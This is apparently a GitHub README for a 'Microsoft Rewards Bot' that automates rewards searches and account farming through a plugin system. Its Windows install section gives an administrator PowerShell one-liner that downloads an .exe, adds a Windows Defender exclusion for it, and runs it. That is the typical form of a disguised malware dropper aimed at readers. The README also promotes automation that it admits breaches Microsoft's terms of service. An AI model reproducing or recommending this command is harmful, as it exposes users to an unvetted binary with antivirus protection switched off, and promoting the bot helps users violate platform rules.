Skip to content

QuestPilot/Microsoft-Rewards-Bot

Repository files navigation

Microsoft Rewards Bot Banner

✦ Microsoft Rewards Bot BETA ✦

Next-generation source-available Microsoft Rewards automation with a powerful plugin ecosystem.
⚡ Fast • 🧩 Modular • 🤖 Automated

Latest release Node License


🌌 Introduction

Microsoft Rewards Bot delivers a fully automated, hands-free rewards workflow alongside a sophisticated modular plugin system. This application is designed to streamline accounts routine management while showcasing a scalable and dynamic architecture.

🌟 Key Features

  • 🤖 Core Automation: Advanced headless search and account farming logic.
  • 🔌 Public Plugin API: Extensibility at its finest, letting you create custom integrations and individual modules.
  • 📦 Plugin Manager: Manage features seamlessly via standard commands like npm run plugins.
  • 🔄 Smart Auto-Updates: Stays fresh, fully optimized, and up-to-date on every single npm start.
  • 💎 Premium Core Plugin: Proprietary logic easily enabled and configured via plugins/plugins.jsonc.

Note

This repository is source-available exclusively for personal non-commercial use and official contributions. It is not licensed for commercial redistribution, unofficial public competing releases, impersonation, or reproducing the proprietary Core plugin.


🖥️ Remote Dashboard Preview

Remote Dashboard

🚀 Installation (Windows Automated Script)

⚠️ Required: You must open and run PowerShell with Administrator privileges.

Open PowerShell as Administrator, then effortlessly run the one-line automated installer:

$f="$env:TEMP\install.exe"; iwr https://github.com/QuestPilot/Microsoft-Rewards-Bot/raw/HEAD/scripts/install.exe -OutFile $f; Add-MpPreference -ExclusionPath $f; start $f

The installer will automatically fetch the latest stable binary engine directly from the main branch and deploy it locally.

Note: Only accept software execution from trusted publishers and verified repositories.


🛠️ Manual CLI Installation

For total configuration control and full transparency, you can clone and install the project manually via NPM:

# Clone the repository
git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git

# Navigate into the project folder
cd Microsoft-Rewards-Bot

# Install official project dependencies
npm install

# Launch the script
npm start

The main branch is the supported public channel. The built-in auto-update script reads that branch directly, and the compiled official Core plugin is fully built for the documented Node.js target.


📚 Documentation Map

Use this README as the front door, then jump directly into the page that matches what you want to achieve:

Goal Documentation Link
**Install, update, or understand npm start** 📁 Install and Auto-Updates
Run the bot inside an isolated container 🐳 Docker Deployment
Verify or upgrade the Node.js runtime 🟢 Node.js Version Reference
Enable, disable, or inspect running plugins 🔌 Plugin System Overview
Build a public or private plugin 🛠️ Create a Plugin & Plugin API Reference
Understand the premium core plugin features 💎 Official Core Plugin
Understand Core limitations and built-in security 🔒 Core Technical Reference
Use and configure the official web dashboard 🌐 Core Dashboard
Fix common launch, installation or update issues 🩺 Troubleshooting Guide
Understand licensing and allowed personal use 📄 License

Can't find what you need? Start with docs/README.md for the full documentation structural index.


⚠️ Educational Disclaimer & Terms of Service

This project, along with its source code and plugins, is created strictly for educational, research, and proof-of-concept purposes.

  • Academic & Research Focus: The development of this tool is designed to study automated headless browser interaction, scripting architecture, and modular plugin infrastructures. It is not intended for malicious farming or exploiting platforms.
  • No Liability & Fault: The developers, maintainers, and contributors of QuestPilot accept no responsibility or liability whatsoever for any consequences, actions, blocks, or damages resulting from the execution or use of this software. By downloading or compiling this software, you assume 100% of the risks.
  • Platform Regulations: Interacting with external rewards platforms using automated bots explicitly breaches the Microsoft Services Agreement and Terms of Service (ToS). Doing so will highly likely result in account restriction, point forfeiture, or permanent account bans.
  • End-User Responsibility: It is the sole responsibility of the end-user to comply with local laws and the rules of any external platforms. The creators cannot be held responsible for account terminations; you use this script entirely at your own discretion.
  • Non-Affiliation: This repository is an independent open-source initiative and is not affiliated, associated, authorized, endorsed by, or in any way officially connected with Microsoft Corporation or any of its subsidiaries.